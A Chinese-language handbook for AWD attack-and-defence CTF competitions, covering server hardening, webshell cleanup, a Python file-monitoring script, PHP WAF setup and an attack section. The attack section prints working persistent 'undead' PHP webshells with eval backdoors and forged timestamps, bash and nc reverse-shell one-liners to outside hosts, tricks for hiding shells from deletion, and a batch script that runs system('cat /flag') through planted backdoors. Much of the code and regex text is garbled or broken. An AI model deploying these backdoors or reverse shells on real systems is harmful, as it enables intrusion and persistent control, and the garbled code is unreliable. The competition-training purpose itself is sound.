当前位置: 首页 > news >正文

AWD攻防比赛流程手册

AWD简单介绍:

AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层、系统层、中间件层等),利用漏洞攻击其他队伍可以进行得分,加固时间段可自行发现漏洞对服务器进行加固,避免被其他队伍攻击失分。

一、防御加固

1、Linux基本命令

1、文件备份-----------------
cat /etc/passwdpasswd.txt  备份basswdi文件
cat /etc/shadow shadow.txt  备份shadow.文件
netstat -anp netstat_anp.txt 备份当前网络连接
cp /bash history history.txt 备份历史命令
w users.txt 备份用户登录信息
ps aux ps.txt备份进程信自
2、用户信息分析--------------------
whoami 查看当前用户
who 查看当前登录系统的所有用户
w 显示登陆系统的用户列表,显示正在执行的指令
users 显示当前登录系统的所有用户的用户
last 查看最近登录成功的用户及信息
cat/etc/passwd 查看用户信息
3、进程信息分析---------------------------
top 动态查看进程
Isof-p pid 查看PID为xxx的进程打开的文件
Isof -c sshd 查看进程sshd打开的文件
Isof -i:port 查看端口对应的一些进程
netstat -pantu grep pid查看网络连接情况,通过过滤pid查看连接的端口
fuser -n tcp port 查看端口对应的进程pid
4、进程信息分析---------------------------
ps aux 查看进程
pstree 查看进程树
ps aux --sort -pcpu 查看进程,根据cpu使用从高到低
ps aux --sort -pmem 查看进程,根据内存使用从高到低
5、网络连接分析---------------------------
netstat -an 打印Linux中网络系统的状态信息
netstat -nat | awk '{print $6}'|sort | unig -c|sort -rn 查看TCP连接状态
6、异常文件分析---------------------------
find /var/-type f -mtime -3 | xargs ls -la 查看指定目录最近被修改的文件
find./ -mtime 0 -name "*.php" 查找24h内被修改的文件
find./ -ctime -2 -name "'*php" 查找72h查找72h内新增的
find./ -iname "*.php"-perm 777 权限查找
7、定时任务分析---------------------------
cat /etc/crontab
8、其他-----------------------------
netstat ps 查看端口与服务  与外连接情况
ps 端口和服务
passwd username   //ssh口令修改
grep -r "flag" /var/www/html/  //Linux:在Web目录下查找flag
findstr /s /i "flag" *.*       //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串

2、WEB加固

1、网站后台密码

后台修改 //系统设置

数据库修改

如:
网站后台存在user这个表、网站账号admin账号、密码为123456
mysql -u root p 先登录mysql
select * form user;
update USER set password="147258" where id="admin";set password for mycms@localhost = password('18ciweufhi28746');  //MySQL密码修改
find /var/www//html -path '*config*’                             //查找配置文件中的密码凭证

查看是否留有后门账户 cat /etc/passwd

2、web网站-数据库备份

1、
tar-zcvf web.tar.gz web/ #压缩名.tar文件/目录
权限有问题的话,在当前目录用此命令
tar -zcvf web.tar  #所有文件打包
shell进行下载进行代码审计
2、
压缩源码:
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
解压缩源码:
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html
备份源码:
mv web.tar /tmp
mv web.zip /home/xxx
上传和下载源:
scp username@servername:/path/filename /tmp/local_destination  //从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path             //从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir          //从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir           //从本地上传整个目录到服务器
1、寻找配置文件
通常在名为config.php 一类的文件中存放了数据库的账号密码
2、mysql数据库登录
mysql -u root p
3、备份目标数据库
mysqldump -u root -p --databases test /tmp/db.sql
--------------------------------------------------------------------
备份指定数据库:
mysqldump –u username –p password databasename > target.sql
备份所有数据库:
mysqldump –all -databases > all.sql
信息数据库:
mysql –u username –p password database < from.sql

后门查杀-webshell-不死马

1、通过命令查看可疑文件
find /var/www/html -name*.php -mmin -20 #查看最近20分钟修改文件
find./ -name *.php'| xargs wc-l |sort-u #寻找行数最短文件
grep -r --include=*.php '[a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval ("more
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('
2、webshell查杀工具
河马
D盾
3、后门用户查杀
U1D大于500的都是非系统账号,500以下的都为系统保留的账号
userdel -r username4、杀弹反弹shell
老规矩查看进程
ps -ef
px -aux
ps -aux | grep www-data
注意www-data权限/bin/sh,最重要的是
kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'5、不死马删除
ps aux grep www-data 查看进程
kill-9 pid 清除进程
5.1命令清除不死马
ps aux grep www-data awk '{print $2}'xargs kill-9ps aux列出进程信息grep www-data在进程信息中匹配目标awk'{print2}'提取pidxargs kill-9将pid作为参数传递给kill-9
5.2条件竞争清除
通过不断的向不死马中写入数据达到覆盖的效果
条件竞争
<?php
set_time_limit(o);
ignore_user_abort(true);
unlink(_FILE_);
while(1)
{file_put_contents('./shell.php','11111');usleep(o);
}
?>
5.3通过脚本方式
#!/bin/bash
while true;do rm -rf shell.php done5.4创建一个和不死马生成的木马一样名字的文件夹
#!/bin/bash
dire="/var/www/html/.shell.php/"
file="/var/www/html/.shell.php"
rm -rf sfile
mkdir $dire5.5可以通过不断复写shell.php来达到该木马难以使用的效果
利用:
192.168.10.2:80/.config.php //输入网址,会自行创建
POST cmd=ls
GET cmd=system("ls");5.6删除不死马
创建一个killbusima.php
<?phpignore_user_abort(true);set_time_limit(0);unlink(FILE_);$file ='config.php';$c0de='<7 php ech0"111111111111111111111"?>';while (1){file_put_contents($file,$code);/system('touch-m-d"2018-12-0109:10:12",1.php');//usleep(1000);usleep(0);}
?>
5.7上脚本删除 github项目很多
6、清除反弹shell
ps aux grep www-data 查看进程
清除进程
kill ps -aux grep www-dataa
awk '{print $2}'

3、日志分析-WAF-文件监控

目的:了解运行情况、发生的安全事件、分析取证、payload反制

3.1文件监控

1、文件监控备份运行文件监控脚本前所有文件删除新增非自用文件记录新增文件知晓文件变动历史防止别人恶意写入不死马,迅速恢复被修改的源码
2、文件监控可以对web目录进行监控,发现新上传文件或者文件被修改立即恢复,这样可以防止上传shell等攻击:
# -*- coding: utf-8 -*-
#use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import timeCWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}def isListLike(value):return isinstance(value, (list, tuple, set))# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):if noneToNull and value is None:return NULLif isListLike(value):value = list(getUnicode(_, encoding, noneToNull) for _ in value)return valueif isinstance(value, unicode):return valueelif isinstance(value, basestring):while True:try:return unicode(value, encoding or UNICODE_ENCODING)except UnicodeDecodeError, ex:try:return unicode(value, UNICODE_ENCODING)except:value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]else:try:return unicode(value)except UnicodeDecodeError:return unicode(str(value), errors="ignore")# 目录创建
def mkdir_p(path):import errnotry:os.makedirs(path)except OSError as exc:if exc.errno == errno.EEXIST and os.path.isdir(path):passelse: raise# 获取当前所有文件路径
def getfilelist(cwd):filelist = []for root,subdirs, files in os.walk(cwd):for filepath in files:originalfile = os.path.join(root, filepath)if Special_path_str not in originalfile:filelist.append(originalfile)return filelist# 计算机文件MD5值
def calcMD5(filepath):try:with open(filepath,'rb') as f:md5obj = hashlib.md5()md5obj.update(f.read())hash = md5obj.hexdigest()return hashexcept Exception, e:print u'[!] getmd5_error : ' + getUnicode(filepath)print getUnicode(e)try:ORIGIN_FILE_LIST.remove(filepath)FILE_MD5_DICT.pop(filepath, None)except KeyError, e:pass# 获取所有文件MD5
def getfilemd5dict(filelist = []):filemd5dict = {}for ori_file in filelist:if Special_path_str not in ori_file:md5 = calcMD5(os.path.realpath(ori_file))if md5:filemd5dict[ori_file] = md5return filemd5dict# 备份所有文件
def backup_file(filelist=[]):# if len(os.listdir(Special_path['bak'])) == 0:for filepath in filelist:if Special_path_str not in filepath:shutil.copy2(filepath, Special_path['bak'])if __name__ == '__main__':print u'---------start------------'for value in Special_path:mkdir_p(Special_path[value])# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件ORIGIN_FILE_LIST = getfilelist(CWD)FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUGprint u'[*] pre work end!'while True:file_list = getfilelist(CWD)# 移除新上传文件diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))if len(diff_file_list) != 0:# import pdb;pdb.set_trace()for filepath in diff_file_list:try:f = open(filepath, 'r').read()except Exception, e:breakif Special_string not in f:try:print u'[*] webshell find : ' + getUnicode(filepath)shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))except Exception as e:print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)try:f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')f.close()except Exception as e:print u'[-] log error : file move error: ' + getUnicode(e)# 防止任意文件被修改,还原被修改文件md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)for filekey in md5_dict:if md5_dict[filekey] != FILE_MD5_DICT[filekey]:try:f = open(filekey, 'r').read()except Exception, e:breakif Special_string not in f:try:print u'[*] file had be change : ' + getUnicode(filekey)shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)except Exception as e:print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)try:f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')f.close()except Exception as e:print u'[-] log error : done_diff: ' + getUnicode(filekey)passtime.sleep(2)# print '[*] ' + getUnicode(time.ctime())

3.2日志分析

流量监控实现反打       重点---------------大型比赛的AWD竞赛都会提供流量包文件供选手查看,通过流量包可以审计出一些pay|oad,通过流量可以迅速进行批量反打。如果主办方不提供流量包,可以对网站入口文件挂上记录日志的文件,从而浏览记录下来的流量。
部署在网站目录,或者加在网站源码中。保存为txt,以供分析。
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; /记录访问者的ip
$filename = $_SERVER['PHP_SELF]; /访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; /访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); /访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?.$parameter."\r\n"; 
Iog记录
$fh fopen("log.txt","a");
fwrite($fh,$logadd);
fclose($fh);
?>
网站日志存放位置:
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/
GITHUB项目:

3.3WAF部署 

使用方法:
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:a).在所需要防护的页面加入代码
require_once('waf.php');
就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.phpb).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;
需要注意的是,部署waf可能会导致服务不可用,需要谨慎部署。waf的作用:
最重要是分析流量,别人攻击我们的时候,我们可以看到别人的攻击方式。这样的话即使我们找 不到攻击点,非常苦恼的时候,我们就可以分析流量,使用别人的攻击方式。
可以直接进行防御,类似于一台防火墙(一般的比赛是不允许使用的,毕竟比赛时间短,就根本绕不过去waf,那比赛就没意思了)
有些比赛是不允许上通用waf的,check机制可能会check到waf过滤的参数,导致宕机,waf部署需要谨慎,还需要注意的是:上完waf检查服务是否可用,部分检查允许使用部分小的waf,会检查页面完整性、服务完整性。
常用的waf使用方法,是用你要保护的文件去包含这个waf.php。比如说,你要保护select.php,那么你就在select.php里面写上一行include './waf.php'或者 require_once('waf.php');
如果你要保护所有文件,那么就在config这种配置文件里包含waf,因为这种config的文件,一般会被大部分功能页面调用
网上很多waf脚本,这里介绍几个waf项目
1.AWD_PHP_WAF
项目地址:GitHub - NonupleBroken/AWD_PHP_WAF: a PHP WAF for AWD
使用方法:
使用前先修改config.php内的密码,密码使用sha256加密
上waf:
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/g"
下waf:
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/<?php/g"
比如访问 web 目录下的/waffffff/admin.php?password=1234562.CTF-WAF
项目地址:GitHub - sharpleung/CTF-WAF: 针对CTF线下赛的通用WAF,带流量转发,日志审计功能。3.awd-watchbird
这是个通防waf,支持流量转发和替换flag
项目地址:GitHub - leohearts/awd-watchbird: A powerful PHP WAF for AWD
1.打包好好之后直接上传到html目录下,回到终端,在上传的waf目录下,使用命令
php watchbird.php --install /var/www/html
这样就能使每个页面的php代码包含到waf下
2.运行waf 之后,打开我们的web 页面,在任意一个php 页面后面输入?watchbird=ui,就会进入到waf 配置页面然后设置密码(注意:第一次打开需要设置密码)
3.配置好之后就能进入内部网页4.AoiAWD
项目地址:GitHub - DasSecurity-HatLab/AoiAWD: AoiAWD-专为比赛设计,便携性好,低权限运行的EDR系统。
使用方法:AoiAWD-萌新的得分利器
下载好,自己去编译或者找编译好的直接用文件寻找
1、寻找配置文件
find -name "nginx.conf" #定位nginx目录
find /-path "*nginx*"-name nginx*conf #定位nginx配置目录
find /-name "httpd.conf" #定位apache目录
find /-name "index.php" #定位网站目录
2、寻找日志文件
/var/log/nginx/ #默认Nginx日志目录
/var/log/apache/ #默认Apache日志目录
/var/log/apache2/ #默认Apache日志目录
/usr/Ioca|/tomcat/logs #Tomcat日志目录
tail-f xxx.log #实时刷新滚动日志文件

4、PHP加固=PHP参数配置

首先找到PHP的配置文件/etc/php/{version}/php.ini
禁用高危函数disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
配置open_basedir(将用户访问文件范围限制在指定的区域)open_basedir=/var/www/html
禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入)magic_quotes_gpc = Off
关闭PHP伪协议allow_url_fopen = Off
allow_url_include = Off
重新PHPsudo service php7.0-fpm restart
sudo systemctl restart php7.0-fpm.service配置.htaccess
使用.htaccess配置文件禁止执行php文件<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
php_flag engine off     //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 
</Directory>

5、漏洞修复

1、已知webshell

直接注释、或者删除即可

2、TOP10漏洞修复

1、SQL注入

1、基于黑名单
Sblacklist=
"regexp|from|count|procedureland|asciisubstr|substring|left|right |union|if|caselpowl expl
order |sleep|benchmark|intolload|outfilel dumpfilelload_filel join |showlselect |updatelset|co
ncat deletel alter |insert createlunion|or|dropnot|for|join is between group_concat|likelw
hereluserlasciilgreatestlmid substr|left|right |char |hexlord|casellimit|conv|tablelmysq1_h
istorylflagl count I rpad&*.|-";
if((preg_match("/".$blacklist."/is",$a)==1)(preg_match("/".$blacklist."/is",$b)==1)){die();                                                                                  

2、命令执行

1、调用函数进行参数过滤
<?php
$a=$_GET['cc'];
Ssangfor
"eval|assert|passthru|pcnt1_exec|exec|system|escapeshellcmd|popen|chroot|scandir|chgrp|ch
own|shel1_execlproc_open|proc_get_status|ob_start";
if(preg_match("/".$sangfor."/is",$cc)==1){die();
$bb="phpinfo()";
call_user_func($cc,$bb);
?>
2、禁用函数
disable_functions=call_user_func,call_user_func_array,array_map,array_filter,ob_start,php
info,eval,assert,passthru,pcnt1_exec,exec,system,escapeshellcmd,popen,chroot,scandir,chgr
p,chown,shel1_exec

3、反序列化

1、PHP7.0特性为unserialize()提供过滤
<php
//将所有的对象都转换为_PHP_Incomp1ete_c1ass对象
$data unserialize($foo,["allowed_classes"=>false]);
//将除Myc1ass和Myc1ass2之外的所有对象都转换为_PHP_Incomp1ete_c1ass对象
$data unserialize($foo,["allowed_classes"=>["Myclass","Myclass2"]);
//默认情况下所有的类都是可接受的,等同于省略第二个参数
$data unserialize($foo,["allowed_classes"=true]);
?>
2、限制phar拓展php反序列化
$blacklist "phar|zip|compress.bzip2|compress.zlib|compress.bzip2";
if(preg_match("/".$blacklist."/is",$a)==1){die();      
}

4、文件上传

#修复参考:
严格限制上传的文件路径
文件扩展名服务端白名单校验
文件内容服务端校验
上传文件重命名
隐藏上传文件路径
限制相关上传文件目录的执行权限
前后端都对文件类型进行验证1、后端代码限制上传的文件类型(类型&后缀)和大小
if (($_FILES["Up10defile"]["type"]=="image/gif")&&(substr($_FILES["Up10defile"]["name"],
strrpos($_FILES ["Up10defile"]["name"],'.')+1))=='gif')&&($_FILES["file"]["size"]
<1024000){
else{die();
}2、强制给上传的文件添加后缀名,在不存在文件包含漏洞的情况下,该方法能最有效的防御攻击者上传执行木马
if (file_exists("upload_file/". $_FILES["Up10defile"]["name"])){echo $_FILES["Up10defile"]["name"].already exists.";
else{move_uploaded_file($_FILES["Upl0defile"]["tmp_name"],
"upload_file/". $_FILES["Up1odefile"]["name"].".gif");echo "Stored in: "."upload_file/" .$_FILES["Up10defile"]["name"].".gif";
}

文件包含

本地文件包含路径限制
$filename $_GET['filename']
$pattern ="\/.\.\/\.\/|etc|var|php|jpg|jpeg|png|bmp|gif";
if(preg_match("/".$pattern."/is",$filename)==1){echo"die00000000000000000000000000000";die();
}
include($filename);

原则:

  • 能修复的尽量修复;

  • 不能修复的先注释源码,不影响页面显示再删除;

  • 站点和对应的功能尽可能不宕机;

二、攻击

1、信息收集

## 一般比赛都会给定ip列表,给出相应的网段地址,选手可以根据ip列表去生成靶机列表。如果主办方不出具ip列表,可以使用nmap或者其他工具扫描对应网段,获取靶机ip。发现对方靶机服务
一、主机识别
1、nmap扫端口
nmap-sP 192.168.1.1/24 #扫描c段主机
nmap-sV 1.1.1.1-p1-65535 #探测端口的服务
nmap -sS -p 80,8080,3306 192.168.1.1/24 #扫描c段下的主机端口是否开放
主机探测:一般使用Nmap进行主机探测,探测范围为自己主机的C段
存活探测:nmap-sS 10.16.10.0/24   -sn 也可以
端口探测:nmap 10.16.10.19 -p 1-65535
2、目标识别脚本
import requests
for x in range(2,255): url = "http://192.168.1.{}".format(x) try: r = requests.post(url) print(url) except: pass
3、gorailgunr
填好ip端口信息即可,支持导出CSV,然后进行筛选二、服务探测:
使用Nmap、Dirsearch和WEB指纹识别工具,获取靶机的开发语言,系统名称及版本等。还可以使用其他相应工具、和脚本,cms识别、目录扫描、各种安全工具安排上

2、攻击方式

1、提前准备:

漏洞库 、cms版本、中间件、框架漏洞、各种POC\EXP、各种漏扫项目、马子等等

2、攻击Web服务
  • 代码审计 //使用D盾、Seay源代码审计系统

  • 历史漏洞 //查看CMS针对性攻击 /使用扫描器进行探测

  • 手工测试 TOP10漏洞 /比赛较多cms框架漏洞、弱口令、命令执行、sql注入、服务漏洞等等

  • sql注入漏洞 —sql-shell执行select load_file(‘/flag’);即可得到flag

  • 文件包含漏洞,通过../../../../../../flag的方式获取flag

  • RCE漏洞有GET/POST根据情况而定 写payload

  • 弱口令进入后台写shell等等

3、漏扫项目:

XRAY、GOBY、Pocsuite3、漏洞库EXP、POC-bomber-main、wapiti3等等工具 如下:

1、wapiti3 支持大部分漏洞 地址:GitHub - wapiti-scanner/wapiti: Web vulnerability scanner written in Python3

安装:pip install wapiti3

使用:wapiti3 -u http://xxxx.xx // -l 1 测试等级

2、POC-bomber-main 地址:GitHub - tr0uble-mAker/POC-bomber: 利用大量高威胁poc/exp快速获取目标权限,用于渗透和红队快速打点

安装:git clone https://github.com/tr0uble-mAker/POC-bomber.git  cd POC-bomber pip install -r requirements.txt

使用:python3 pocbomber.py -u http://xxx.xxx //验证模式

     python3 pocbomber.py -u http://xxx.xxx --poc="thinkphp2_rce.py" --attack  //攻击模式

#### 4、关于已知后门利用

1、webshell工具查看 //较慢2、浏览器打开 get/POST3、脚本批量化

3、权限维持

3.1不死马
创建一个.config.php的文件写入不死马,带.的意义为可以隐藏,不容易被发现
1、第一种:
<?php
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行
unlink(__FILE__);     //删除自身while(1)
{file_put_contents('.config.php','<?php @eval($_POST["cmd"]);?>');  //创建.config.phpsleep(100);    //间隔时间100毫秒
}防御:
可以通过不断复写shell.php来达到该木马难以使用的效果
利用:
192.168.10.2:80/.config.php //输入网址,会自行创建
POST cmd=ls
GET cmd=system("ls");删除不死马
创建一个killbusima.php
<?phpignore_user_abort(true);set_time_limit(0);unlink(FILE_);$file ='config.php';$c0de='<7 php ech0"111111111111111111111"?>';while (1){file_put_contents($file,$code);/system('touch-m-d"2018-12-0109:10:12",1.php');//usleep(1000);usleep(0);}
?>
不死马示例:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST['cmd']);} ?>';
while (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" shell2.php');usleep(5000);
}
?>#passwd=y0range857
#POST传参:passwd=y0range857&a=system('ls');
将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为shell2.php的shell文件,然后使用caidao输入http://xxx/shell2.php?pass=pass的路径,密码为a就可以链接一句话,由于pass是md5加密很难被破解也可以做到隐蔽,md5值可以随意定义。
写入shell, at.php内容<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php'; 
$code = '<?php if(md5($_GET["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST["at"]);} ?>';
while (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" .login.php');file_put_contents($file1,$code);system('touch -m -d "2018-12-01 09:10:12" /admin/.register.php');usleep(5000);
}
?>
浏览器访问at.php,会生成不死马at2.php
url/upload/at.php
再传入,执行命令,getshell
url/upload/at2.php?passwd=obse007&at=system('ls');
3.2反弹shell
1、利用一:nc反弹shell
bash-i>&/dev/tcp/192.168.182.130/66660>&1
bash -i >& /dev/tcp/192.168.182.130/6666 0>&1
本地
nc -l -p 66662、利用二:定时任务反弹shell 
bash -c bash'bash -i >& /dev/tcp/[ip]/[port] 0>&1'
nc -e /bin/bash 1.3.3.7 4444 bash3、清除:
ps aux grep www-data 查看进程
kill ps -aux grep www-dataa
awk '{print $2}'
利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,之后就可以一直得分了
3.3写隐藏webshell
隐藏shell
shell很容易被发现,被删除就gg了,可以采用一些操作隐藏shell或使shell无法被删除
1.把shell.php命名为.shell.php
.shell.php在执行ls时无法被查看到,搭配ls的参数才能被发现
完整命令如下
mv shell.php .shell.php
ls -al
.shell.php
2.把shell.php命名为-shell.php
从上面可以看出,ls加参数才能查看到shell,那么我们直接写一个-shell.php、
命令行会把-后面的内容当成参数执行,执行即使被发现,使用rm命令进行删除,会被当成是rm的参数,就会发生报错,无法删除shell,目的也达到了
完整命令如下
[sss@ecs-centos-7 awd]$ ls
-shell.php
[sss@ecs-centos-7 awd]$ rm -shell.php 
rm:无效选项 -- s
Try 'rm ./-shell.php' to remove the file "-shell.php".
Try 'rm --help' for more information.
[sss@ecs-centos-7 awd]$ rm -rf -shell.php 
rm:无效选项 -- s
Try 'rm ./-shell.php' to remove the file "-shell.php".
Try 'rm --help' for more information.

4、权限提升

涉及加固等环节可能因为权限问题需要提权,收集提权POC 直接本地提权即可

Linux提权
查询系统版本信息命令:
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
查询内核版本信息:
uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl  
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
查看系统环境变量:
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
查看语言环境信息命令:
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set
查看文件上传环境信息命令:
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
参考漏洞
CVE-2023-0386(Linux OverlayFS权限提升漏洞)
CVE-2021-4034(Linux Polkit本地权限提升漏洞)
CVE-2017-6074(DCCP双重释放漏洞 > 2.6.18)
CVE-2016-5195(脏牛,内核 2.6.22 < 3.9 (x86/x64))
CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
CVE-2017-1000367(sudo本地提权漏洞)
CVE-2016-1247(Nginx权限提升漏洞)
CVE-2017-16995(Ubuntu16.04内核:4.14-4.4)
地址:
http://www.exploit-db.com
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main

5、快速攻击AAAAAA

在AWD中通常需要批量化进行攻击和fIag提交,此时通常使用Python脚本进行实

现,需要一定的编程基础。

1、后门webshell py

import requests
# 假设ip.txt文件包含以下内容:
# http://example.com
# http://anotherexample.com
# 读取ip.txt文件中的URL列表
with open('ip.txt', 'r') as u:urls = u.readlines()
# 遍历URL列表
for url in urls:# 移除URL末尾的换行符url = url.strip()# 构造完整的URL,这里假设我们要访问的路径是'/public/123.php'full_url = url + '/public/123.php'# 准备POST请求的数据data = {'c': 'systen('cat /flag')'}  # 这里应该根据实际情况来设置数据try:# 发送POST请求response = requests.post(full_url, data=data)# 检查响应状态码if response.status_code == 200:# 打印响应内容print(response.text)else:print(f"Request failed with status code {response.status_code}")except requests.exceptions.RequestException as e:# 打印请求异常信息print(f"An error occurred: {e}")

三、全局工作

1、准备工作

SSH/FTP远程连接、主机发现软件、常规漏扫软件、内存马/webshell(纯/图片)/软连接马、批量攻击框架(全场利用)、日志脚本/WAF、webshll查杀工具(D盾/河马)

2、前期

1、网站备份、修改默认口令

2、修复漏洞(D盾(已知webshell/网站漏洞))

3、是否上WAF/上传日志分析脚本(文件监控)

4、主机发现

5、漏洞利用(已知webshell) 手工/脚本批量

6、权限维持

3、中期

1、漏洞挖掘(代码审计/工具/手工测试)

2、日志分析(获取攻击方式反制)=漏洞持续修复

3、删除沦陷主机的马(webshell/内存马等等)

4、中后期

1、权限维持(上传不死马等等)

2、防守(加固/删除马)

5、赛后复盘

6、注意点

1.预留后门的权限维持

2.AWD一般使用cms,多准备cms的POC和EXP。

3.防守注意查看日志看别人是怎么攻击自己的,然后尝试攻击其他人。

4.检查后门,网站上没有d盾可以扫出来的后门,检查计划任务或者可疑进程等等。

5.比赛一轮10-20几分钟,时间紧张,提高自己的代码审计、自动化脚本的编写能力,实现自动化攻击。

四、AWD附件

AWD比赛脚本等等资源,联系博主!

参考了互联网各大文章视频等等。

相关文章:

AWD攻防比赛流程手册

AWD简单介绍&#xff1a; AWD&#xff1a;Attack With Defence&#xff0c;即攻防对抗&#xff0c;比赛中每个队伍维护多台服务器&#xff08;一般两三台&#xff0c;视小组参赛人数而定&#xff09;&#xff0c;服务器中存在多个漏洞&#xff08;web层、系统层、中间件层等&am…...

Golang的json解析--Gjson库的使用举例

目录 简介 安装 原生的json解析 Gjson使用举例 基本使用 键路径 使用示例 其他资源 简介 在 Golang 中&#xff0c;解析 JSON 数据是一项非常常见的任务。Go提供了标准的JSON包&#xff0c;可以轻松地将JSON数据序列化和反序列化。但是&#xff0c;在使用标准JSON包…...

基于Langchain构建本地大型语言模型(LLM)问答系统的经验分享

